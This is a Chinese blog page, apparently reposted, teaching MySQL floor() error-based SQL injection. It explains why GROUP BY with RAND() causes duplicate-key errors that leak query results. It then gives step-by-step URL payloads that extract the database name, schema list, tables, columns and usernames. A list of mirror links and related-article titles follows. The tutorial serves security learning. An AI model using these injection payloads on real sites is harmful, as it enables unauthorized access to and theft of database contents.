当前位置: 首页 > news >正文

【Floor报错注入】

Floor报错注入原理

      这种攻击的精妙之处在于利用了数据库自身操作(GROUP BYRAND()、临时表)的特性来触发错误。分为以下几点:

​      构造恶意分组(GROUP BY)​​:攻击者通过注入语句,构造一个使用 GROUP BY子句的查询。GROUP BY的作用是根据一列或多列的值对结果集进行分组。

     引入不确定性(RAND())​​:分组依据(GROUP BY后面的列)被精心设计为包含 RAND()函数。例如 GROUP BY (SELECT ... FROM ... WHERE ...)最终会指向一个包含 RAND()的表达式。RAND()函数的特点是​​每次调用都会产生一个新的随机值​

      临时表与主键冲突​​:数据库引擎在执行 GROUP BY语句时,为了处理数据,通常会在内部创建一张​临时表​​。临时表需要一个主键(或唯一约束)来确保分组的唯一性。

         报错信息泄露数据​​:当数据库尝试将计算出的分组键值插入临时表时,如果发现该键值已存在(主键重复),就会抛出错误。关键在于,在插入发生之前,用于生成分组键的 CONCAT(...)或 FLOOR(...)等函数中的​​子查询(如 (SELECT DATABASE()))已经被执行完毕​​。数据库为了报告详细的错误,会将这个重复的“键”的值包含在错误信息中​​返回。而这个“键”的值,正是我们恶意查询的执行结果(如数据库名、版本、表数据等)。

报错需要满足的条件:

1.floor()报错注入在MySQL版本8.0已失效,经过测试7.3.4nts也已失效(据说的本人没有实践过)

2.注入语句中查询用到的表内数据必须>=3条

3.需要用到的count(*)、floor()或者ceil()、rand()、group by

爆出当前数据库

?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

#database()可以修改,修改为database version()等

拆解字段意思:

rand();    #生成随机数;

rand(0);    #生成种子值,伪随机数,固定

select floor(3.9);    #向下取整

count     #计数

group by #分组

x    #别名

爆出所有的数据库 通过limit来控制

?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出表名

?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23


爆出字段

?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出数据

?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23


文章转载自:

http://Wq2m8dYM.fnrkh.cn
http://2AltqGfL.fnrkh.cn
http://vOWXu8us.fnrkh.cn
http://krDpKoeP.fnrkh.cn
http://6j2faLW3.fnrkh.cn
http://LZ2QXoyH.fnrkh.cn
http://4S5wZqvZ.fnrkh.cn
http://15ZdC7zR.fnrkh.cn
http://DYmSsCxe.fnrkh.cn
http://eoL4tWq7.fnrkh.cn
http://FTMJUUzz.fnrkh.cn
http://L8yVHJXr.fnrkh.cn
http://C4I5VabJ.fnrkh.cn
http://jzc7oF36.fnrkh.cn
http://WogHcI1v.fnrkh.cn
http://u6fLrlg7.fnrkh.cn
http://iwc3lxab.fnrkh.cn
http://V15jPlRu.fnrkh.cn
http://AbMkFQ96.fnrkh.cn
http://mleG0Ez6.fnrkh.cn
http://3p8G58SE.fnrkh.cn
http://KNnhgr46.fnrkh.cn
http://uQHeiR7n.fnrkh.cn
http://HM1cgvaM.fnrkh.cn
http://srbHKFB2.fnrkh.cn
http://r0PSFxz9.fnrkh.cn
http://0RJSMaEC.fnrkh.cn
http://He7DpR04.fnrkh.cn
http://PzRL3mwQ.fnrkh.cn
http://MAZSVqsj.fnrkh.cn
http://www.dtcms.com/a/376036.html

相关文章:

  • Docker生产部署
  • 小型语言模型:智能体AI的未来?
  • js垃圾回收机制
  • STM32开发(USART总线:UART总线)
  • Typescript - 通俗易懂的 interface 接口,创建接口 / 基础使用 / 可选属性 / 只读属性 / 任意属性(详细教程)
  • FastGPT源码解析 Agent 智能体应用创建流程和代码分析
  • [网络入侵AI检测] 模型性能评估与报告
  • chmod与chown命令的深度解析
  • 7层的API网关
  • 链表问题:LeetCode 两数相加 - 算法解析与详解
  • 类型别名(type)与接口(interface)的抉择
  • 4.1 - 拖链电缆(柔性电缆)与固定电缆
  • 硬编码Salt问题及修复方案
  • 随笔一些用C#封装的控件
  • 9月9日星期二今日早报简报微语报早读
  • Python快速入门专业版(十五):数据类型实战:用户信息录入程序(整合变量、输入与类型转换)
  • GEO与SEO,GEO 是什麼?SEO + AI = GEO 生成式搜尋引擎優化 全解析
  • Asp .Net Core 系列:Asp .Net Core 集成 Hangfire+MySQL
  • 如果服务端有数据更新,浏览器缓存同时也没有过期,如何直接使用最新的数据
  • 使用java编写一个基础的彩票抽奖程序
  • 算法题 Day5---String类
  • 【靶场练习】--DVWA第二关Command Injection(命令执行)全难度分析
  • 什么是Adobe Analytics?数据驱动营销的关键工具​
  • 使用Docker搭建MaxKB智能体平台
  • 【链表】3.重排链表(medium)
  • 免费!离线!免安装!Windows文件夹隐藏工具
  • 联邦学习及其相关创新SCI辅导
  • 466章:Python Web爬虫入门:使用Requests和BeautifulSoup
  • ES8集群部署与使用-zookeeper集群部署与使用
  • Nginx 优化与防盗链配置指南